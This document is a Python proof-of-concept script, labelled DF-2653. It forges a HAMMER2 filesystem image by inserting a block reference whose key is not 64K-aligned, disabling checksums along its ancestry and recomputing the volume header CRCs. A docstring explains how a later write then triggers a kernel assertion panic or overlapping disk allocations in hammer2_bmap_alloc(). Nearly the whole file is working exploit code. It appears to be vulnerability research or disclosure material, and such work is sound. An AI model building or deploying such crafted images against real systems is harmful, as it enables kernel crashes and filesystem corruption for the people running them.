DF-2653 / forge_2653.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | #!/usr/bin/env python3 """ DF-2653 forger: sub_key-derived bitmap index overflows the 64-bit element in hammer2_bmap_alloc() when a DATA bref's key is not aligned to the allocation radix. hammer2_bmap_alloc() fast path (freemap.c:660-687): i = (sub_key & HAMMER2_BMAP_MASK) / (HAMMER2_BMAP_SIZE / ELEMENTS); j = (sub_key & HAMMER2_BMAP_INDEX_MASK) / (INDEX_SIZE / BLOCKS_PER_ELEM); j = j * 2; KKASSERT(j + bmradix <= 64); The kernel only ever creates radix-16 DATA chains at 64K-aligned keys, so j is always a multiple of 8 and the assert holds. A crafted image can supply a DATA bref with key = 0x7C000 (only 16K-aligned): j becomes 62 and bmradix = 8 (radix 16), so j + bmradix = 70 > 64: * INVARIANTS kernels: KKASSERT panic at freemap.c:679; * noinv kernels: bmmask = (1<<8)-1 << 62 truncates to 2 bits -- the allocation marks only one 16K pair, avail -= 64K, and the returned data_off (base + 62*8K, 64K long) crosses into bitmapq element i+1 whose chunks stay 00 -> overlapping allocations. The forged DATA bref {key=0x7C000, keybits=16, radix=16} is inserted in f2653's indirect block (ascending-key slot 4, between the 0x30000 and 0xC0000 entries covering the file's hole). A write at file offset 0x80000..0xBFFFF looks up lbase=0x80000, finds the forged chain (greatest key <= 0x80000 whose range encloses it), and modifies it -> COW realloc -> hammer2_freemap_alloc(chain, 64K) -> hammer2_bmap_alloc(sub_key=0x7C000). """ import struct, sys, os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from h2common import * POISON_KEY = 0x7C000 def main(): base, out = sys.argv[1], sys.argv[2] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) pbr = find_pfs_bref(img, sbr, b'testvol') # the volhdr sroot_blockset bref gates recovery recursion into the sroot struct.pack_into('<Q', img, sbr['off'] + 0x10, 0x20) print("[+] volhdr sroot bref @%#x: mirror_tid -> 0x20" % sbr['off']) # f2653 inode = slot1 of PFS-root blockset (key 0x401) f3 = None for i in range(4): off = (pbr['data_off'] & ~RADIX_MASK) + 0x200 + i * BREF if img[off] == 1: f3 = off assert f3, "f2653 inode bref not found" f3_blk = struct.unpack_from('<Q', img, f3 + 0x20)[0] & ~RADIX_MASK ind_doff = None for i in range(4): o = f3_blk + 0x200 + i * BREF if img[o] == 2: ind_doff = struct.unpack_from('<Q', img, o + 0x20)[0] ind_bref_off = o assert ind_doff, "f2653 indirect bref not found" ind_blk = ind_doff & ~RADIX_MASK print("[+] f2653 inode bref @%#x (blk %#x) -> indirect @%#x" % (f3, f3_blk, ind_blk)) # find insertion slot: after key 0x30000 (index 3), before 0xC0000 ents = [] for e in range(128): o = ind_blk + e * BREF if img[o]: ents.append((struct.unpack_from('<Q', img, o + 8)[0], e)) ents.sort() idx = [e for k, e in ents if k == 0x30000][0] + 1 nxt = struct.unpack_from('<Q', img, ind_blk + idx * BREF + 8)[0] assert 0x30000 < POISON_KEY < nxt, "slot order wrong: next=%#x" % nxt # shift entries [idx..] up one slot to keep ascending order last = max(e for _, e in ents) for e in range(last + 1, idx - 1, -1): img[ind_blk + (e + 1) * BREF: ind_blk + (e + 2) * BREF] = \ img[ind_blk + e * BREF: ind_blk + (e + 1) * BREF] # poison bref at slot idx o = ind_blk + idx * BREF struct.pack_into('<6B', img, o, 3, 0x00, 0, 16, 0, 0) # DATA, CHECK_NONE, keybits=16 struct.pack_into('<QQQQQ', img, o + 8, POISON_KEY, # key (16K-aligned, NOT 64K-aligned) 0x11, # mirror_tid (like siblings) 0x11, # modify_tid 0x1d80010, # data_off: real 64K block, radix 16 0) # update_tid print("[+] poison DATA bref at slot %d: key=%#x radix=16 data_off=%#x" % (idx, POISON_KEY, 0x1d80010)) # ancestry CHECK_NONE: indirect bref (in f2653 inode block), f2653 inode # bref (in PFS-root block), testvol bref (in sroot block), sroot (volhdr) struct.pack_into('<B', img, ind_bref_off + 0x01, 0x00) struct.pack_into('<B', img, f3 + 0x01, 0x00) struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s" % out) if __name__ == '__main__': main() |